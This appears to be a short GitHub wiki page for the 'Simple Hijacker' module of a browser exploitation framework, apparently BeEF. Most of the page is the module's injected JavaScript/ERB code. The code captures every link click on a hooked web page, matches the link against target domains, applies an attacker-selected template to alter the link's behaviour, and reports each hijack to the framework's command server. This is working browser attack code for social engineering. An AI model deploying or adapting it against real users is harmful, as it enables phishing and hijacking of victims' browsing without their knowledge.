Skip to content

Module: Simple Hijacker

Nbblrr edited this page Jan 3, 2013 · 7 revisions

##Summary

Internal working

Basically, this module will take any link in the page, check if it target one of the domains given and load one template to modify the link.

    $j('a').click(function(e) {
      e.preventDefault();
      if ($j(this).attr('href') != '')
      {
        if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{	
          <%
              tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js"
              file = File.open(tplpath, "r")
              @template = file.read
          %>
          <%= @template %>
          beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href'));
        }
      }
    });

Screenshots

Feedbacks

  • Domains are really important as the name should be included in the link. Links which are not included in this domain's list will not redirect anymore.
Clone this wiki locally